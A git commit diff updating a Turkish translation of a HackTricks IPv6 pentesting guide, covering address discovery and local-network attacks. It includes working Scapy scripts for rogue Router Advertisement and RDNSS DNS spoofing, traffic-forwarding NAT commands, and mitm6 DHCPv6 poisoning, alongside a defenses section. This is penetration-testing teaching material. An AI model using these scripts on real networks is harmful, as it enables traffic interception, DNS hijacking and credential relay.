Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-24 16:13:23 +00:00
parent 265791ce5d
commit da8b017304

View File

@ -1,8 +1,10 @@
# Pentesting IPv6
{{#include ../../banners/hacktricks-training.md}}
# IPv6 Temel Teori
## IPv6 Temel Teorisi
## Ağlar
### Ağlar
IPv6 adresleri, ağ organizasyonunu ve cihaz etkileşimini geliştirmek için yapılandırılmıştır. Bir IPv6 adresi şu şekilde bölünmüştür:
@ -13,14 +15,14 @@ IPv6 adresleri, ağ organizasyonunu ve cihaz etkileşimini geliştirmek için ya
IPv6, IPv4'te bulunan ARP protokolünü hariç tutarken, iki ana mesajla **ICMPv6**'yı tanıtır:
- **Komşu İsteği (NS)**: Adres çözümü için çoklu yayın mesajları.
- **Komşu İlanı (NA)**: NS'ye veya kendiliğinden ilanlara yanıt olarak tekil yanıtlar.
- **Komşu İlanı (NA)**: NS'ye veya kendiliğinden ilanlara tekil yanıtlar.
IPv6 ayrıca özel adres türlerini de içerir:
- **Döngü Geri Adresi (`::1`)**: IPv4'teki `127.0.0.1` ile eşdeğer, ana bilgisayar içindeki iletişim için.
- **Bağlantı Yerel Adresleri (`FE80::/10`)**: Yerel ağ etkinlikleri için, internet yönlendirmesi için değil. Aynı yerel ağdaki cihazlar bu aralığı kullanarak birbirlerini keşfedebilirler.
- **Bağlantı Yerel Adresleri (`FE80::/10`)**: Yerel ağ etkinlikleri için, internet yönlendirmesi için değil. Aynı yerel ağdaki cihazlar bu aralığı kullanarak birbirlerini keşfedebilir.
### IPv6'nın Ağ Komutlarındaki Pratik Kullanımı
### Ağ Komutlarında IPv6'nın Pratik Kullanımı
IPv6 ağlarıyla etkileşimde bulunmak için çeşitli komutlar kullanabilirsiniz:
@ -36,23 +38,23 @@ ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
```
IPv6 adresleri, yerel iletişim için bir cihazın MAC adresinden türetilebilir. Bilinen bir MAC adresinden Link-local IPv6 adresini türetme ve bir ağ içinde IPv6 adreslerini keşfetme yöntemleri hakkında kısa bir genel bakış.
IPv6 adresleri, yerel iletişim için bir cihazın MAC adresinden türetilebilir. Bilinen bir MAC adresinden Link-local IPv6 adresini türetmek için basitleştirilmiş bir kılavuz ve bir ağ içinde IPv6 adreslerini keşfetme yöntemleri ile IPv6 adres türlerine kısa bir genel bakış aşağıda verilmiştir.
## **MAC Adresinden Link-local IPv6 Türetme**
### **MAC Adresinden Link-local IPv6 Türetme**
Bir MAC adresi **`12:34:56:78:9a:bc`** verildiğinde, Link-local IPv6 adresini şu şekilde oluşturabilirsiniz:
Verilen bir MAC adresi **`12:34:56:78:9a:bc`** ile Link-local IPv6 adresini şu şekilde oluşturabilirsiniz:
1. MAC'i IPv6 formatına çevirin: **`1234:5678:9abc`**
2. `fe80::` ekleyin ve ortasına `fffe` yerleştirin: **`fe80::1234:56ff:fe78:9abc`**
3. Soldan yedinci biti ters çevirin, `1234``1034` olarak değiştirin: **`fe80::1034:56ff:fe78:9abc`**
## **IPv6 Adres Türleri**
### **IPv6 Adres Türleri**
- **Unique Local Address (ULA)**: Yerel iletişim için, kamu internet yönlendirmesi için tasarlanmamıştır. Ön ek: **`FEC00::/7`**
- **Multicast Address**: Birden bire iletişim için. Multicast grubundaki tüm arayüzlere iletilir. Ön ek: **`FF00::/8`**
- **Anycast Address**: Birden en yakın iletişim için. Yönlendirme protokolüne göre en yakın arayüze gönderilir. **`2000::/3`** küresel unicast aralığının bir parçasıdır.
## **Adres Ön Ekleri**
### **Adres Ön Ekleri**
- **fe80::/10**: Link-Local adresler (169.254.x.x'e benzer)
- **fc00::/7**: Unique Local-Unicast (10.x.x.x, 172.16.x.x, 192.168.x.x gibi özel IPv4 aralıklarına benzer)
@ -60,14 +62,14 @@ Bir MAC adresi **`12:34:56:78:9a:bc`** verildiğinde, Link-local IPv6 adresini
- **ff02::1**: Multicast Tüm Düğümler
- **ff02::2**: Multicast Yönlendirici Düğümleri
## **Ağ İçinde IPv6 Adreslerini Keşfetme**
### **Ağ İçinde IPv6 Adreslerini Keşfetme**
### Yol 1: Link-local Adresleri Kullanarak
#### Yol 1: Link-local Adresleri Kullanarak
1. Ağ içindeki bir cihazın MAC adresini edinin.
2. MAC adresinden Link-local IPv6 adresini türetin.
### Yol 2: Multicast Kullanarak
#### Yol 2: Multicast Kullanarak
1. Yerel ağda IPv6 adreslerini keşfetmek için `ff02::1` multicast adresine ping gönderin.
```bash
@ -75,7 +77,7 @@ service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
```
## IPv6 Man-in-the-Middle (MitM) Saldırıları
### IPv6 Man-in-the-Middle (MitM) Saldırıları
IPv6 ağlarında MitM saldırılarını gerçekleştirmek için birkaç teknik bulunmaktadır, örneğin:
@ -84,28 +86,194 @@ IPv6 ağlarında MitM saldırılarını gerçekleştirmek için birkaç teknik b
- Mobil IPv6'ya saldırmak (genellikle IPSec'in devre dışı bırakılmasını gerektirir).
- Sahte bir DHCPv6 sunucusu kurmak.
# IPv6 Adreslerini Belirleme
## IPv6 Adreslerini Belirleme
## Alt Alan Adlarını Keşfetme
### Alt Alan Adlarını Keşfetme
IPv6 adresleriyle potansiyel olarak bağlantılı alt alan adlarını bulmanın bir yöntemi arama motorlarını kullanmaktır. Örneğin, `ipv6.*` gibi bir sorgu deseni etkili olabilir. Özellikle, Google'da şu arama komutunu kullanabilirsiniz:
IPv6 adresleriyle potansiyel olarak bağlantılı alt alan adlarını bulmanın bir yöntemi, arama motorlarından yararlanmaktır. Örneğin, `ipv6.*` gibi bir sorgu deseni kullanmak etkili olabilir. Özellikle, Google'da şu arama komutu kullanılabilir:
```bash
site:ipv6./
```
## DNS Sorgularını Kullanma
### DNS Sorgularını Kullanma
IPv6 adreslerini belirlemek için belirli DNS kayıt türleri sorgulanabilir:
IPv6 adreslerini tanımlamak için belirli DNS kayıt türleri sorgulanabilir:
- **AXFR**: Tam bir alan transferi talep eder, potansiyel olarak geniş bir DNS kayıt yelpazesini ortaya çıkarır.
- **AAAA**: Doğrudan IPv6 adreslerini arar.
- **ANY**: Tüm mevcut DNS kayıtlarını döndüren geniş bir sorgu.
## Ping6 ile Sondaj Yapma
### Ping6 ile Sondaj Yapma
Bir organizasyonla ilişkili IPv6 adresleri belirlendikten sonra, `ping6` aracı sondaj yapmak için kullanılabilir. Bu araç, belirlenen IPv6 adreslerinin yanıt verebilirliğini değerlendirmeye yardımcı olur ve ayrıca komşu IPv6 cihazlarını keşfetmeye de yardımcı olabilir.
Bir organizasyona ait IPv6 adresleri belirlendikten sonra, `ping6` aracı sondaj yapmak için kullanılabilir. Bu araç, belirlenen IPv6 adreslerinin yanıt verme yeteneğini değerlendirmeye yardımcı olur ve ayrıca komşu IPv6 cihazlarını keşfetmeye de yardımcı olabilir.
## IPv6 Yerel Ağ Saldırı Teknikleri
Aşağıdaki bölümler, **aynı /64 segmenti içinde** global bir ön ek bilmeden gerçekleştirilebilecek pratik katman-2 IPv6 saldırılarını kapsamaktadır. Aşağıda gösterilen tüm paketler **link-local** olup yalnızca yerel anahtardan geçer, bu da onları çoğu ortamda son derece gizli kılar.
### Stabil Bir Laboratuvar İçin Sistem Ayarlamaları
IPv6 trafiği ile oynamadan önce, kendi testlerinizle zehirlenmemek ve büyük paket enjeksiyonu/sniffing sırasında en iyi performansı almak için kutunuzu güçlendirmeniz önerilir.
```bash
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
```
### Pasif NDP & DHCPv6 Dinleme
Her IPv6 ana bilgisayar **otomatik olarak birden fazla çoklu yayın grubuna katılır** (`ff02::1`, `ff02::2`, …) ve SLAAC/NDP için ICMPv6 kullanır, bu nedenle tek bir paket göndermeden tüm segmenti haritalayabilirsiniz. Aşağıdaki Python/Scapy tek satırlık kod, en ilginç L2 mesajlarını dinler ve kimlerin kim olduğunu gösteren renkli, zaman damgalı bir günlük yazdırır:
```python
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
```
Sonuç: birkaç saniye içinde tam bir **link-local topoloji** (MAC ⇄ IPv6) elde edilir, aktif taramalara dayanan IPS/IDS sistemlerini tetiklemeksizin.
### Yönlendirici Reklamı (RA) Sahteciliği
IPv6 ana bilgisayarları, varsayılan ağ geçidi keşfi için **ICMPv6 Yönlendirici Reklamları**na güvenir. Eğer sahte RA'ları **meşru yönlendiriciden daha sık** enjekte ederseniz, cihazlar sessizce sizi ağ geçidi olarak seçecektir.
```python
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
```
Gerçekten **trafik yönlendirmek** için yarışı kazandıktan sonra:
```bash
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
```
### RDNSS (DNS) Spoofing via RA
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106), bir RA içinde **Recursive DNS Server (RDNSS)** seçeneği eklemeye izin verir. Modern işletim sistemleri (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) bunu otomatik olarak güvenilir kabul eder:
```python
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('--llip',required=True)
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
p.add_argument('--lifetime',type=int,default=600)
p.add_argument('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
```
Müşteriler, belirli bir süre boyunca DNS'inizi çözümleyici listelerine **ekleyecek**, değer süresi dolana kadar veya `lifetime=0` geri dönüşü göndermediğiniz sürece tam DNS kaçırma imkanı tanıyacaktır.
### DHCPv6 DNS Spoofing (mitm6)
SLAAC yerine, Windows ağları genellikle DNS için **durumsuz DHCPv6**'ya dayanır. [mitm6](https://github.com/rofl0r/mitm6), `Solicit` mesajlarına **Advertise → Reply** akışı ile otomatik olarak yanıt vererek **300 saniye boyunca DNS için yerel bağlantı adresinizi atar**. Bu, aşağıdakileri açar:
* NTLM iletim saldırıları (WPAD + DNS kaçırma)
* Yönlendiricilere dokunmadan dahili ad çözümlemesini yakalama
Tipik kullanım:
```bash
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
```
### Savunmalar
* **RA Guard / DHCPv6 Guard / ND İncelemesi** yönetilen anahtarlarda.
* Sadece meşru yönlendiricinin MAC adresinin RA göndermesine izin veren Port ACL'leri.
* **Düşük kaliteli yüksek oranlı RAs** veya ani **RDNSS değişiklikleri** için izleme.
* Uç noktalarda IPv6'yı devre dışı bırakmak, genellikle modern hizmetleri bozup kör noktaları gizleyen geçici bir çözümdür - bunun yerine L2 filtrelemeyi tercih edin.
## Referanslar
- [Legless IPv6 Penetration Testing](https://blog.exploit.org/caster-legless/)
- [mitm6](https://github.com/rofl0r/mitm6)
- [RFC 8106 IPv6 ND DNS Yapılandırması](https://datatracker.ietf.org/doc/html/rfc8106)
- [http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html](http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html)
- [https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904](https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904)